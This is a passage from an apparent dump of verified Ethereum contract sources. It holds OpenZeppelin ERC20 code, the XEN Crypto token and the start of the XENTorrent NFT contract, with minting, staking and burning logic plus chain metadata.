`uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
ac3ceaf4868101231d67c887dea143426bd8c491
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == 